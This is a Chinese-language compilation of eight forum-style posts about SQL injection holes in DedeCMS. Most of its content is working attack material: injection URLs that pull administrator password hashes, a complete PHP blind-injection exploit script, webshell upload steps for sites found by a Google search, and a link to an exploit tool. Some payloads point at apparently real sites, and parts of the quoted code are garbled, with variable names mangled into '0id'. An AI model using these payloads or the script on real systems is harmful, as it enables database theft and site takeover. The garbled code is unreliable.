dedecms注射漏洞脚本安全

失眠 分享 时间: 收藏本文

dedecms注射漏洞脚本安全

【简介】感谢网友“失眠”参与投稿,下面是小编为大家推荐的dedecms注射漏洞脚本安全(共8篇),欢迎大家分享。

篇1:dedecms注射漏洞脚本安全

注释:先注册..输入地址后,要等一会刷新就可以看到密码了

作者不知道是谁

问题出现在buy_action.php

没有对pid传递进行足够的重视

导致出现SQL注射问题!

注册地址

/member/index_do.php?fmdo=user&dopost=regnew

爆管理员密码

/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

用很大。 如果你找不到可以利用的 那就是自己RP问题

反正 我们是找到很多了,而且是流量比较大的站,很不错的站。

更正一下:

LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是:

暴管理员密码:

CODE:

/member/buy_action.php?product=member&pid=1%20and%201=11%20union

%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

首先在

GOOGLE搜Power by DedeCms

先注册一个号,注册成功后

直接输入下面的

include/dialoguser/select_soft.php或者

include/dialoguser/select_media.php

然后上传一个PHP马,

先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP

上传成功

直接访问

所在目录的路径/木马名字.php

一个SHELL就拿到了,

篇2:DedeCms V57 plus/search.php 文件SQL注射0day漏洞脚本安全

Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

算了不公开了,不能糟蹋0day了.

传送门 DedeCmS V57 plus/search.php 文件SQL注射0day漏洞

黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.

Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

require_once(dirname(__FILE__).”/../include/common.inc.php”);

require_once(DEDEINC.”/arc.searchview.class.php”);

$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;

0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;

$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;

$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;

$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;

if(!isset($orderby)) $orderby=”;

else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);

if(!isset($searchtype)) $searchtype = ‘titlekeyword’;

else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);

if(!isset($keyword)){

if(!isset($q)) $q = ”;

$keyword=$q;

}

$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));

//查找栏目信息

if(empty(0id))

{

0nameCacheFile = DEDEDATA.’/cache/typename.inc’;

if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time-(3600*24) )

{

$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);

fwrite($fp, “<”.”?phprn”);

$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);

$dsql->Execute();

while($row = $dsql->GetArray())

{

fwrite($fp, “Arr[{$row['id']}] = ‘{$row['typename']}’;rn”);

}

fwrite($fp, ‘?’.'>’);

fclose($fp);

}

//引入栏目缓存并看关键字是否有相关栏目内容

require_once(0nameCacheFile);

//0Arr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个

//

if(isset(0Arr) && is_array(0Arr))

{

foreach(0Arr as $id=>0name)

{

$keywordn = str_replace(0name, ‘ ‘, $keyword);  //这个地方要绕过

if($keyword != $keywordn)

{

$keyword = $keywordn;

0id = $id; // 这里存在变量覆盖漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 这句过滤成了摆设

break;

}

}

}

}

然后plus/search.php文件下面定义了一个 Search类的对象 .

在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.

$this->TypeLink = new TypeLink(0id);

TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

class TypeLink

{

var 0Dir;

var $dsql;

var $TypeID;

var $baseDir;

var $modDir;

var $indexUrl;

var $indexName;

var $TypeInfos;

var $SplitSymbol;

var $valuePosition;

var $valuePositionName;

var $OptionArrayList;

//构造函数///////

//php5构造函数

function __construct(0id)

{

$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];

$this->indexName = $GLOBALS['cfg_indexname'];

$this->baseDir = $GLOBALS['cfg_basedir'];

$this->modDir = $GLOBALS['cfg_templets_dir'];

$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];

$this->dsql = $GLOBALS['dsql'];

$this->TypeID = 0id;

$this->valuePosition = ”;

$this->valuePositionName = ”;

$this->typeDir = ”;

$this->OptionArrayList = ”;

//载入类目信息

$query = “SELECT tp.*,ch.typename as

ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join

`#@__channeltype` ch

on ch.id=tp.channeltype  WHERE tp.id=’0id’ “; //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿

if(0id > 0)

{

$this->TypeInfos = $this->dsql->GetOne($query);

利用代码一 需要 即使magic_quotes_gpc = Off

本帖隐藏的内容

www.myhack58.com/plus/search.php?typeArr[2%27%20and%20@%60%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

这只是其中一个利用代码… Search 类的构造函数再往下

……省略

$this->TypeID = 0id;

……省略

if($this->TypeID==”0″){

$this->ChannelTypeid=1;

}else{

$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲

//现在不鸡肋了吧亲…

$this->ChannelTypeid=$row['channeltype'];

}

利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

篇3:dedecms(plus/feedbackjs.php)注射漏洞漏洞预警

发现者:Rainy'Fox&St0p

Team:二胖子网安(bbs.erpangzi.com)

影响版本:

dedecms GBK 5.1

漏洞描述:

文件:plus/feedback_js.php

if(empty($arcID))

{

$row = $dlist->dsql->GetOne(“Select id From `#@__cache_feedbackurl` where url='$arcurl' ”);

if(is_array($row)) $urlindex = $row['id'];

}

获得变量arcurl,直接放入数据库查询.导致注入产生,介于对于php环境如果设置了magic_quote_gpc=on的问题.可以结合php多字节编码漏洞构造.

利用:

localhost/plus/feedback_js.php?arcurl=%cf' union select “' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 as msg from dede_admin where 1=1 union select * from dede_feedback d where 1=2  and ''='” from dede_admin where ''='

经过测试,得出结论,magic_quotes_gpc = On的时候目前语句还不行,编码尚未突破

演示:

www.yxwo.cn/plus/feedback_js.php?arcurl=%cf'%20union%20select%20“'%20and%201=2%20union%20select%201,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1%20as%20msg%20from%20yxwodede_admin%20where%201=1%20union%20select%20*%20from%20yxwodede_feedback%20d%20where%201=2%20%20and%20''='”%20from%20yxwodede_admin%20where%20''='

篇4:DedeCms V5 orderby参数注射漏洞

影响版本: DedeCms V5漏洞描述: DedeCms由到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软

影响版本:

DedeCms V5漏洞描述:

DedeCms由20到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms (DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站,

在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下

-------------------------------------------------------

if(empty($orderby)) $orderby = 'pubdate';

//重载列表

if($dopost=='getlist'){

PrintAjaxHead;

GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数

$dsql->Close();

exit();

……

function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){

global $cfg_phpurl,$cfg_ml;

$jobs = array();

$start = ($pageno-1) * $pagesize;

$dsql->SetQuery(“Select * From sec_jobs where memberID='”.$cfg_ml->M_ID.“' order by $orderby desc limit $start,$pagesize ”);

$dsql->Execute();//orderby 带入数据库查询

……

----------------------------------------------------------

<*参考

www.80sec.com/dedecms-sql-injection.html

*>

测试方法:

[www.sebug.net]

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

print_r('

--------------------------------------------------------------------------------

DedeCms >=5 “orderby” blind SQL injection/admin credentials disclosure exploit

BY Flyh4t

www.wolvez.org

Thx for all the members of W.S.T and my friend Oldjun

--------------------------------------------------------------------------------

');

if ($argc<3) {

print_r('

--------------------------------------------------------------------------------

Usage: php '.$argv[0].’ host path

host: target server (ip/hostname)

path: path to DEDEcms

Example:

php ‘.$argv[0].’ localhost /

——————————————————————————–

‘);

die;

}

function sendpacketii($packet)

{

global $host, $html;

$ock=fsockopen(gethostbyname($host),’80′);

if (!$ock) {

echo ‘No response from ‘.$host; die;

}

fputs($ock,$packet);

$html=”;

while (!feof($ock)) {

$html.=fgets($ock);

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$prefix=”dede_”;

$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]’/') or ($path[strlen($path)-1]’/'))

{echo ‘Error… check the path!’; die;}

/*get $prefix*/

$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (eregi(”in your SQL syntax”,$html))

{

$temp=explode(”From “,$html);

$temp2=explode(”member”,$temp[1]);

if($temp2[0])

$prefix=$temp2[0];

echo “[+]prefix -> “.$prefix.”n”;

}

$chars[0]=0;//null

$chars=array_merge($chars,range(48,57)); //numbers

$chars=array_merge($chars,range(97,102));//a-f letters

echo “[~]exploting now,plz waitingrn”;

/*get password*/

$j=1;$password=”“;

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$chars))

{

$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}

}

if ($i==255) {die(”Exploit failed…”);}

}

$j++;

}

/*get userid*/

$j=1;$admin=””;

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

$packet.=”Host: “.$host.”rn”;

$packet.=”Cookie: “.$cookie.”rn”;

$packet.=”Connection: Closernrn”;

sendpacketii($packet);

if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}

if ($i==255) {die(”Exploit failed…”);}

}

$j++;

}

print_r(’

——————————————————————————–

[+]userid -> ‘.$admin.’

[+]pwd(md5 24位) -> ‘.$password.’

——————————————————————————–

‘);

function is_hash($hash)

{

if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}

else {return false;}

}

if (is_hash($password)) {echo “Exploit succeeded…”;}

else {echo “Exploit failed…”;}

?>爱安全建议:

暂无

www.dedecms.com// aianquan.com [-08-13]

(本文由责任编辑 pasu 整理发布)

篇5:DedeCMS SQL注射漏洞利用工具

DedeCMS SQL Injection Exploit

1.小工具适用于最新dedecms SQL注射漏洞

2.有狗或其他安全工具下或许会没有效果

3.dedecms系统的管理员密码MD5为20位 去掉前三和后一 为16位MD5

4.少数杀软报毒,属正常,若他处下载,请避免捆马现象!!

5.测试使用,勿作非法用途~~

傻瓜式操作,是人都会用~~

下载地址: pan.baidu.com/s/1c0Fy2vY

篇6:DedeCMS会员中心短消息SQL注射0day漏洞

需要:magic_quotes_gpc = Off

DedeCMS会员中心短消息SQL注射漏洞,成功利用此漏洞可获得管理员密码等

看到微博上有人提了下,偶也发鸡肋了.

/de/member/pm.php?dopost=read&id=1%27%20and%20@%60%27%60%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27

篇7:dedecms 5.7 edit.inc.php文件注射漏洞预警

漏洞文件edit.inc.php具体代码:

if(!defined('DEDEINC')) exit('Request Error!');

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];

else $GUEST_BOOK_POS = “guestbook.php”;

$id = intval($id);

if(empty($job)) $job='view';

if($job=='del' && $g_isadmin)

{

$dsql->ExecuteNoneQuery(“ DELETE FROM `#@__guestbook` WHERE id='$id' ”);

ShowMsg(“成功删除一条留言!”, $GUEST_BOOK_POS);

exit;

}

else if($job=='check' && $g_isadmin)

{

$dsql->ExecuteNoneQuery(“ UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ”);

ShowMsg(“成功审核一条留言!”, $GUEST_BOOK_POS);

exit();

}

else if($job=='editok')

{

$remsg = trim($remsg);

if($remsg!='')

{

//管理员回复不过滤HTML

if($g_isadmin)

{

$msg = “”.$msg.“n”.$remsg;

//$remsg

管理员回复:

}

else

{

$row = $dsql->GetOne(“SELECT msg From `#@__guestbook` WHERE id='$id' ”);

$oldmsg = “”.addslashes($row['msg']).“n”;

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);

$msg = $oldmsg.$remsg;

}

}

//这里没有对$msg过滤,导致可以任意注入了

$dsql->ExecuteNoneQuery(“UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='”.time().“' WHERE id='$id' ”);

ShowMsg(“成功更改或回复一条留言!”, $GUEST_BOOK_POS);

exit();

}

if($g_isadmin)

{

$row = $dsql->GetOne(“SELECT * FROM `#@__guestbook` WHERE id='$id'”);

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');

}

else

{

$row = $dsql->GetOne(“SELECT id,title FROM `#@__guestbook` WHERE id='$id'”);

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');

}

漏洞成功需要条件:

1. php magic_quotes_gpc=off

2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在,

dedecms 5.7 edit.inc.php文件注射漏洞预警

怎么判断是否存在漏洞:

先打开www.xxx.com /plus/guestbook.php 可以看到别人的留言,

然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID

访问:www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=90sec'&id=存在的留言ID

提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了

跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 90sec' 如果变成了 那么证明漏洞无法利用应为他开启了 php magic_quotes_gpc=off

如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。

那么再次访问 www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='

然后返回,那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样,大家有兴趣的多研究下!!

最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!

篇8:DedeCMS会员中心书签管理SQL注射漏洞漏洞预警

严重鄙视乱改内容转载的网站.

DedeCMS会员中心SQL注射漏洞

需要magic_quotes_gpc = Off

会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.

DedeCMS会员中心书签管理SQL注射漏洞

成功利用该漏洞可获得管理员密码

会员登录后可以执行SQL语句查询数据库任意内容如管理员密码

bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r

相关专题